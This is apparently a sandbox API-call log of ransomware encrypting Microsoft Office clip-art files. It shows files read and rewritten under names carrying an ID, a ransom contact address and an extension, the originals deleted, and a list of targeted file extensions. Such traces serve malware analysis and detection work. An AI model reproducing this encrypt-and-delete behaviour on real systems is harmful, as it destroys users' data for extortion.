	[0056.859] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x634, lpOverlapped=0x0) returned 1
	[0056.861] WriteFile (in: hFile=0x388, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x640, lpOverlapped=0x0) returned 1
	[0056.862] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.862] WriteFile (in: hFile=0x388, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.862] SetEndOfFile (hFile=0x388) returned 1
	[0056.862] CloseHandle (hObject=0x388) returned 1
	[0056.863] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.863] SetEndOfFile (hFile=0x2d0) returned 1
	[0056.864] CloseHandle (hObject=0x2d0) returned 1
	[0056.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 1
	[0056.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0056.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0056.865] lstrlenW (lpString=".doc") returned 4
	[0056.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.865] lstrlenW (lpString=".docx") returned 5
	[0056.865] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.865] lstrlenW (lpString=".pdf") returned 4
	[0056.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.865] lstrlenW (lpString=".xls") returned 4
	[0056.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.865] lstrlenW (lpString=".xlsx") returned 5
	[0056.865] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.865] lstrlenW (lpString=".ppt") returned 4
	[0056.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0056.865] lstrlenW (lpString=".zip") returned 4
	[0056.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.865] lstrlenW (lpString=".rar") returned 4
	[0056.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.865] lstrlenW (lpString=".bz2") returned 4
	[0056.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.865] lstrlenW (lpString=".7z") returned 3
	[0056.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0056.865] lstrlenW (lpString=".dbf") returned 4
	[0056.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0056.865] lstrlenW (lpString=".1cd") returned 4
	[0056.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0056.865] lstrlenW (lpString=".jpg") returned 4
	[0056.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.866] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.866] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0056.866] GetLastError () returned 0x0
	[0056.866] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x4bc, lpOverlapped=0x0) returned 1
	[0056.882] WriteFile (in: hFile=0x388, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4c0, lpOverlapped=0x0) returned 1
	[0056.883] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.883] WriteFile (in: hFile=0x388, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.883] SetEndOfFile (hFile=0x388) returned 1
	[0056.883] CloseHandle (hObject=0x388) returned 1
	[0056.883] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.883] SetEndOfFile (hFile=0x2d0) returned 1
	[0056.884] CloseHandle (hObject=0x2d0) returned 1
	[0056.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 1
	[0056.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0056.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0056.885] lstrlenW (lpString=".doc") returned 4
	[0056.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.885] lstrlenW (lpString=".docx") returned 5
	[0056.885] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.885] lstrlenW (lpString=".pdf") returned 4
	[0056.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.885] lstrlenW (lpString=".xls") returned 4
	[0056.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.885] lstrlenW (lpString=".xlsx") returned 5
	[0056.885] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.885] lstrlenW (lpString=".ppt") returned 4
	[0056.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0056.885] lstrlenW (lpString=".zip") returned 4
	[0056.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.885] lstrlenW (lpString=".rar") returned 4
	[0056.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.885] lstrlenW (lpString=".bz2") returned 4
	[0056.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.885] lstrlenW (lpString=".7z") returned 3
	[0056.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0056.885] lstrlenW (lpString=".dbf") returned 4
	[0056.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0056.885] lstrlenW (lpString=".1cd") returned 4
	[0056.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0056.885] lstrlenW (lpString=".jpg") returned 4
	[0056.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.886] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.886] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0056.886] GetLastError () returned 0x0
	[0056.886] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xdc4, lpOverlapped=0x0) returned 1
	[0056.912] WriteFile (in: hFile=0x388, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xdd0, lpOverlapped=0x0) returned 1
	[0056.913] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.913] WriteFile (in: hFile=0x388, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.913] SetEndOfFile (hFile=0x388) returned 1
	[0056.913] CloseHandle (hObject=0x388) returned 1
	[0056.914] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.914] SetEndOfFile (hFile=0x2d0) returned 1
	[0056.915] CloseHandle (hObject=0x2d0) returned 1
	[0056.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 1
	[0056.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0056.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0056.916] lstrlenW (lpString=".doc") returned 4
	[0056.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.916] lstrlenW (lpString=".docx") returned 5
	[0056.916] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.916] lstrlenW (lpString=".pdf") returned 4
	[0056.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.916] lstrlenW (lpString=".xls") returned 4
	[0056.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.916] lstrlenW (lpString=".xlsx") returned 5
	[0056.916] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.916] lstrlenW (lpString=".ppt") returned 4
	[0056.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0056.916] lstrlenW (lpString=".zip") returned 4
	[0056.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.916] lstrlenW (lpString=".rar") returned 4
	[0056.916] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.916] lstrlenW (lpString=".bz2") returned 4
	[0056.916] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.916] lstrlenW (lpString=".7z") returned 3
	[0056.916] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0056.916] lstrlenW (lpString=".dbf") returned 4
	[0056.916] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0056.916] lstrlenW (lpString=".1cd") returned 4
	[0056.916] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0056.916] lstrlenW (lpString=".jpg") returned 4
	[0056.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.922] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.922] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0056.924] GetLastError () returned 0x0
	[0056.924] ReadFile (in: hFile=0x39c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x984, lpOverlapped=0x0) returned 1
	[0056.933] WriteFile (in: hFile=0x390, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x990, lpOverlapped=0x0) returned 1
	[0056.934] ReadFile (in: hFile=0x39c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.934] WriteFile (in: hFile=0x390, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.934] SetEndOfFile (hFile=0x390) returned 1
	[0056.935] CloseHandle (hObject=0x390) returned 1
	[0056.940] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.940] SetEndOfFile (hFile=0x39c) returned 1
	[0056.943] CloseHandle (hObject=0x39c) returned 1
	[0056.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 1
	[0056.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0056.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0056.944] lstrlenW (lpString=".doc") returned 4
	[0056.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.944] lstrlenW (lpString=".docx") returned 5
	[0056.944] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.944] lstrlenW (lpString=".pdf") returned 4
	[0056.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.944] lstrlenW (lpString=".xls") returned 4
	[0056.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.944] lstrlenW (lpString=".xlsx") returned 5
	[0056.944] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.944] lstrlenW (lpString=".ppt") returned 4
	[0056.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0056.944] lstrlenW (lpString=".zip") returned 4
	[0056.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.944] lstrlenW (lpString=".rar") returned 4
	[0056.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.945] lstrlenW (lpString=".bz2") returned 4
	[0056.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.945] lstrlenW (lpString=".7z") returned 3
	[0056.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0056.945] lstrlenW (lpString=".dbf") returned 4
	[0056.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0056.945] lstrlenW (lpString=".1cd") returned 4
	[0056.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0056.945] lstrlenW (lpString=".jpg") returned 4
	[0056.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.946] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.946] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0056.948] GetLastError () returned 0x0
	[0056.948] ReadFile (in: hFile=0x39c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x752, lpOverlapped=0x0) returned 1
	[0056.973] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x760, lpOverlapped=0x0) returned 1
	[0056.973] ReadFile (in: hFile=0x39c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.974] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.974] SetEndOfFile (hFile=0x2f0) returned 1
	[0056.974] CloseHandle (hObject=0x2f0) returned 1
	[0056.974] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.974] SetEndOfFile (hFile=0x39c) returned 1
	[0056.975] CloseHandle (hObject=0x39c) returned 1
	[0056.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 1
	[0056.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0056.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0056.976] lstrlenW (lpString=".doc") returned 4
	[0056.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.976] lstrlenW (lpString=".docx") returned 5
	[0056.976] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.976] lstrlenW (lpString=".pdf") returned 4
	[0056.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.977] lstrlenW (lpString=".xls") returned 4
	[0056.977] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.977] lstrlenW (lpString=".xlsx") returned 5
	[0056.977] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.977] lstrlenW (lpString=".ppt") returned 4
	[0056.977] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0056.977] lstrlenW (lpString=".zip") returned 4
	[0056.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.977] lstrlenW (lpString=".rar") returned 4
	[0056.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.977] lstrlenW (lpString=".bz2") returned 4
	[0056.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.977] lstrlenW (lpString=".7z") returned 3
	[0056.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0056.977] lstrlenW (lpString=".dbf") returned 4
	[0056.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0056.977] lstrlenW (lpString=".1cd") returned 4
	[0056.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0056.977] lstrlenW (lpString=".jpg") returned 4
	[0056.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.981] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.981] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0056.983] GetLastError () returned 0x0
	[0056.983] ReadFile (in: hFile=0x2e4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x976, lpOverlapped=0x0) returned 1
	[0056.995] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x980, lpOverlapped=0x0) returned 1
	[0056.996] ReadFile (in: hFile=0x2e4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.996] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.996] SetEndOfFile (hFile=0x350) returned 1
	[0056.996] CloseHandle (hObject=0x350) returned 1
	[0056.997] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
